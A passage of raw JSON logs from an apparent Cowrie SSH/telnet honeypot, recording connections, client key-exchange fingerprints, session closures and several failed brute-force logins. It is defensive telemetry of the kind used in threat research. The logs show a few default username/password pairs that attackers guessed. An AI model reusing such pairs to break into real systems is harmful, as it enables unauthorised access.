,"ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:40.261102Z","src_ip":"186.13.24.118","session":"8734b0f2c8c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.66.34.121","src_port":39302,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b09e3c26ae2","protocol":"ssh","message":"New connection: 157.66.34.121:39302 (159.203.135.109:22) [session: 6b09e3c26ae2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:40.294812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:40.299194Z","src_ip":"157.66.34.121","session":"6b09e3c26ae2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:40.531271Z","src_ip":"157.66.34.121","session":"6b09e3c26ae2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backups","password":"test123","message":"login attempt [backups/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:40.929146Z","src_ip":"186.13.24.118","session":"8734b0f2c8c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"admin","message":"login attempt [adminuser/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:41.495963Z","src_ip":"157.66.34.121","session":"6b09e3c26ae2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":47576,"dst_ip":"159.203.135.109","dst_port":23,"session":"5778428d8cd8","protocol":"telnet","message":"New connection: 209.159.146.115:47576 (159.203.135.109:23) [session: 5778428d8cd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:41.677166Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":47790,"dst_ip":"159.203.135.109","dst_port":23,"session":"09a9155eaf0d","protocol":"telnet","message":"New connection: 209.159.146.115:47790 (159.203.135.109:23) [session: 09a9155eaf0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:41.716661Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":49596,"dst_ip":"159.203.135.109","dst_port":23,"session":"da0ae663feed","protocol":"telnet","message":"New connection: 209.159.146.115:49596 (159.203.135.109:23) [session: da0ae663feed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:42.023149Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:42.091669Z","src_ip":"186.13.24.118","session":"8734b0f2c8c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:42.730659Z","src_ip":"157.66.34.121","session":"6b09e3c26ae2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.67421770095825,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:43.050967Z","src_ip":"23.254.167.244","session":"924b87ce4615","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.0766966342926,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:43.731154Z","src_ip":"209.159.146.115","session":"6190188ba076","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.7965931892395,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:43.917419Z","src_ip":"23.254.167.244","session":"0c2d71d1cff1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.73275542259216,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:45.136786Z","src_ip":"23.254.167.244","session":"b33c0c65e7ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.815529584884644,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:45.668195Z","src_ip":"209.159.146.115","session":"944201999d77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":41142,"dst_ip":"159.203.135.109","dst_port":23,"session":"10ebce0a16d1","protocol":"telnet","message":"New connection: 209.159.146.115:41142 (159.203.135.109:23) [session: 10ebce0a16d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:46.827744Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":60574,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ce8df8664ae","protocol":"telnet","message":"New connection: 23.254.167.244:60574 (159.203.135.109:23) [session: 2ce8df8664ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:46.955505Z"}
{"eventid":"cowrie.session.closed","duration":38.20248484611511,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:47.091357Z","src_ip":"23.254.167.244","session":"0a0795454d30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.811501026153564,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:47.282137Z","src_ip":"23.254.167.244","session":"fd4486b37c7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":33452,"dst_ip":"159.203.135.109","dst_port":23,"session":"b264afbfcecd","protocol":"telnet","message":"New connection: 23.254.167.244:33452 (159.203.135.109:23) [session: b264afbfcecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:47.903098Z"}
{"eventid":"cowrie.session.closed","duration":36.19980263710022,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:50.976804Z","src_ip":"23.254.167.244","session":"8186e5c44823","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.00339484214783,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:51.239359Z","src_ip":"209.159.146.115","session":"1fc741b60a5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":37390,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a2d573f4fd8","protocol":"telnet","message":"New connection: 209.159.146.115:37390 (159.203.135.109:23) [session: 9a2d573f4fd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:53.444124Z"}
{"eventid":"cowrie.session.closed","duration":32.69411563873291,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:53.927876Z","src_ip":"23.254.167.244","session":"e8f21c1c4601","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.005271434783936,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:54.719895Z","src_ip":"23.254.167.244","session":"bc6064b28e6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.2627158164978,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:54.976959Z","src_ip":"209.159.146.115","session":"0499d127a498","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.1422758102417,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:56.031240Z","src_ip":"23.254.167.244","session":"6b286481904a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.2139675617218,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:56.318204Z","src_ip":"209.159.146.115","session":"37ef75283a05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.192981481552124,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:57.778692Z","src_ip":"209.159.146.115","session":"c9d82566797b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":49494,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdbd417e71a0","protocol":"telnet","message":"New connection: 209.159.146.115:49494 (159.203.135.109:23) [session: fdbd417e71a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:57.793767Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":56312,"dst_ip":"159.203.135.109","dst_port":23,"session":"282cbc94843b","protocol":"telnet","message":"New connection: 209.159.146.115:56312 (159.203.135.109:23) [session: 282cbc94843b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:04:58.155021Z"}
{"eventid":"cowrie.session.closed","duration":30.430179357528687,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:01.135931Z","src_ip":"209.159.146.115","session":"06621c03e33c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.178828716278076,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:01.454135Z","src_ip":"23.254.167.244","session":"a8dca63abfa3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.7122483253479,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:02.854497Z","src_ip":"209.159.146.115","session":"2f8635c7b1ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":55424,"dst_ip":"159.203.135.109","dst_port":23,"session":"797f2adc949a","protocol":"telnet","message":"New connection: 209.159.146.115:55424 (159.203.135.109:23) [session: 797f2adc949a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:04.930634Z"}
{"eventid":"cowrie.session.closed","duration":39.26510214805603,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:05.443135Z","src_ip":"23.254.167.244","session":"8ebf5e63bb68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.081210136413574,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:05.986504Z","src_ip":"209.159.146.115","session":"e4ad387975cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.59282970428467,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:06.562950Z","src_ip":"23.254.167.244","session":"978cc9a1bb22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.29169201850891,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:06.927731Z","src_ip":"23.254.167.244","session":"9fae9434b17e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.332942962646484,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:06.947274Z","src_ip":"209.159.146.115","session":"d2e5ff4c9512","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60274,"dst_ip":"159.203.135.109","dst_port":22,"session":"44b06987db00","protocol":"ssh","message":"New connection: 159.203.92.129:60274 (159.203.135.109:22) [session: 44b06987db00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:06.981341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:07.066921Z","src_ip":"159.203.92.129","session":"44b06987db00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:07.071572Z","src_ip":"159.203.92.129","session":"44b06987db00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.898842096328735,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:07.207338Z","src_ip":"23.254.167.244","session":"41a0cdf61950","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"anhuifang","password":"123456","message":"login attempt [anhuifang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:07.462959Z","src_ip":"159.203.92.129","session":"44b06987db00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":56298,"dst_ip":"159.203.135.109","dst_port":23,"session":"87be0f79d8b1","protocol":"telnet","message":"New connection: 23.254.167.244:56298 (159.203.135.109:23) [session: 87be0f79d8b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:07.647490Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":42662,"dst_ip":"159.203.135.109","dst_port":23,"session":"619ab95e31c6","protocol":"telnet","message":"New connection: 209.159.146.115:42662 (159.203.135.109:23) [session: 619ab95e31c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:07.954301Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:08.491210Z","src_ip":"159.203.92.129","session":"44b06987db00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.047019958496094,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:09.336127Z","src_ip":"209.159.146.115","session":"f355a9560abb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.16366958618164,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:10.168210Z","src_ip":"209.159.146.115","session":"c130aa29e1a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.63265562057495,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:10.987361Z","src_ip":"209.159.146.115","session":"958129a84d91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":53360,"dst_ip":"159.203.135.109","dst_port":23,"session":"195fe4ba7dcf","protocol":"telnet","message":"New connection: 209.159.146.115:53360 (159.203.135.109:23) [session: 195fe4ba7dcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:12.078867Z"}
{"eventid":"cowrie.session.closed","duration":30.560075044631958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:12.276616Z","src_ip":"209.159.146.115","session":"09a9155eaf0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.085729360580444,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:12.613381Z","src_ip":"185.26.126.47","session":"3472d57a76c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.1733877658844,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:12.687990Z","src_ip":"23.254.167.244","session":"b858d947aa0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":38180,"dst_ip":"159.203.135.109","dst_port":23,"session":"95edd5a7644c","protocol":"telnet","message":"New connection: 209.159.146.115:38180 (159.203.135.109:23) [session: 95edd5a7644c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:14.039899Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":38628,"dst_ip":"159.203.135.109","dst_port":23,"session":"12b4abcfa8b4","protocol":"telnet","message":"New connection: 209.159.146.115:38628 (159.203.135.109:23) [session: 12b4abcfa8b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:14.198707Z"}
{"eventid":"cowrie.session.closed","duration":32.41759181022644,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:14.440637Z","src_ip":"209.159.146.115","session":"da0ae663feed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":34772,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d245c5d66b4","protocol":"telnet","message":"New connection: 23.254.167.244:34772 (159.203.135.109:23) [session: 1d245c5d66b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:15.209237Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":35036,"dst_ip":"159.203.135.109","dst_port":23,"session":"4393908987b7","protocol":"telnet","message":"New connection: 23.254.167.244:35036 (159.203.135.109:23) [session: 4393908987b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:15.454225Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":33032,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb949c7b0820","protocol":"telnet","message":"New connection: 23.254.167.244:33032 (159.203.135.109:23) [session: bb949c7b0820]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:15.625440Z"}
{"eventid":"cowrie.session.closed","duration":34.38092231750488,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:16.057973Z","src_ip":"209.159.146.115","session":"5778428d8cd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":49372,"dst_ip":"159.203.135.109","dst_port":23,"session":"61ba1aba6cfa","protocol":"telnet","message":"New connection: 209.159.146.115:49372 (159.203.135.109:23) [session: 61ba1aba6cfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:16.791868Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":38652,"dst_ip":"159.203.135.109","dst_port":23,"session":"b87f4a5eeec1","protocol":"telnet","message":"New connection: 23.254.167.244:38652 (159.203.135.109:23) [session: b87f4a5eeec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:17.145602Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":59628,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea658e5932f2","protocol":"telnet","message":"New connection: 209.159.146.115:59628 (159.203.135.109:23) [session: ea658e5932f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:19.279809Z"}
{"eventid":"cowrie.session.closed","duration":37.07721185684204,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:23.904863Z","src_ip":"209.159.146.115","session":"10ebce0a16d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":49382,"dst_ip":"159.203.135.109","dst_port":23,"session":"1cb3483b641d","protocol":"telnet","message":"New connection: 23.254.167.244:49382 (159.203.135.109:23) [session: 1cb3483b641d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:24.340564Z"}
{"eventid":"cowrie.session.closed","duration":36.61382818222046,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:24.516835Z","src_ip":"23.254.167.244","session":"b264afbfcecd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":49340,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd038f0d805b","protocol":"telnet","message":"New connection: 23.254.167.244:49340 (159.203.135.109:23) [session: dd038f0d805b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:26.305705Z"}
{"eventid":"cowrie.session.closed","duration":39.354289531707764,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:05:26.309671Z","src_ip":"23.254.167.244","session":"2ce8df8664ae","protocol":"telnet"}
